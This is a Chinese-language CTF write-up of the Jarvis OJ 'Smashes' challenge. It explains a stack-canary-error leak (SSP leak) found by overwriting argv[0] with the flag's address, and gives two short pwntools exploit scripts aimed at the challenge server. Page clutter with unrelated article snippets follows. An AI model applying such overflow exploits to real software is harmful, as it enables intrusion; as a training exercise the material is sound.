Pwn-Smashes
题目地址
https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229
友链
https://www.jianshu.com/p/6afc68389901
https://www.jianshu.com/p/76b7d51b20fc
先看一下保护机制
开起了Canary和NX,即不能shellcode也不能用ret2libc和ROP直接绕过,但是这里可以利用Canary的保护机制,利用Canary报错信息打印flag,具体原理参考https://www.jianshu.com/p/b0b254b94afe
大概就是 利用Canary本身的保护机制,当Canary被修改了,函数会call到_stack_chk_fail来打印argv[0]指针所指向的字符串,而argv[0]默认情况下是程序的名字,如果我们把它覆盖成flag的地址,那么就可以打印出flag
这里还有一个坑,当ELF文件比较小的时候,它的可能会被映射到不同的地址,也就是说flag可能不止一个地址,利用gdb寻找
获得flag的地址0x400d20
之后我们还需要获得argv[0]到输入name这段的偏移量,这里还是用gdb调试
先寻找argv[0]的地址,0x7fffffffe2c0指向的是程序的名字,是argv[0],又因为0x7fffffffdf58保留了这个地址,所以我们需要的地址是0x7fffffffdf58
然后再断点在IO_gets前面,(一定要在IO_gets函数前面这才是求两段的距离),直接断点在IO_gets是错误的,这个需要慢慢调试,
然后求这两段之间的偏移量,最终偏移了0x218个字符
exp如下
from pwn import *
r=remote('pwn.jarvisoj.com',9877) r.recvuntil('name?')
payload='a'*0x218+p64(0x400d20)
r.sendline(payload) r.interactive()
执行结果
还有一种更加简单粗暴的方法,不知道偏移量,直接全部覆盖成flag的地址
from pwn import *
r=remote('pwn.jarvisoj.com',9877) r.recvuntil('name?')
payload=p64(0x400d20)*200
r.sendline(payload) r.interactive()
Pwn-Smashes的更多相关文章
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
随机推荐
- shell-homeworkone
1.判断/etc/inittab文件是否大于100行,如果大于,则显示”/etc/inittab is a big file.”否则显示”/etc/inittab is a small file.” ...
- LInux:YUM源安装工具的配置及使用
YUM源的设置及使用 YUM工具简介 (1)YUM(Yellow dog Upadate Modifie)是改进版的 RPM 管理器,很好地解决了 RPM 软件包的依赖问题. (2)YUM 可以从很多 ...
- sqliteman
2.安装文件 采用源码方式安装 可用下面地址自行下载 https://sourceforge.net/projects/sqliteman/files/sqliteman/1.2.2/ 3.安装 1) ...
- 《icra16_slam_tutorial_tardos.pdf》
icra16_slam_tutorial_tardos.pdf EKF: https://www.cnblogs.com/gaoxiang12/p/5560360.html 7. 小结 卡尔曼滤波是递 ...
- go 创建自己的区块
package main import ( "time" "crypto/sha256" "bytes" ) //区块体 type Bloc ...
- 【洛谷5299】[PKUWC2018] Slay the Spire(组合数学)
点此看题面 大致题意: 有\(n\)张强化牌\(a_i\)和\(n\)张攻击牌\(b_i\),每张牌有一个权值(强化牌的权值大于\(1\)),每张强化牌能使所有攻击牌的权值乘上这张强化牌的权值,每张攻 ...
- python接口自动化7-post文件上传
前言 文件上传在我们软件是不可少的,最多的使用是体现在我们后台,当然我们前台也会有.但是了解过怎样上传文件吗?这篇我们以禅道文档-创建文档,上传文件为例. post请求中的:Content-Type: ...
- springboot-热部署Jrebel
1. 场景描述 介绍下idea+springboot下的热部署插件-Jrebel,贼好用,以前用过好多种,但是总出现不稳定或者会莫名其妙的没有部署新代码. 2.解决方案 springboot自带的de ...
- python多项式求解
例如:p(x) = x3 - 3x+5 可以使用向量P=[1,0,-3,5]表示,向量长度减一表示多项式最高项次数. 从右到左分别是变量x的0次幂.1次幂.2次幂……n次幂. 这里可以使用numpy的 ...
- [debug] 关闭vs的增量链接
1. 什么是增量链接? 答:采用Debug模式下,函数地址并不是该函数的开始部分,而是跳转到一个 jmp 函数地址. 比如,一个函数 test(),其地址 test 对应的汇编语句是 "jm ...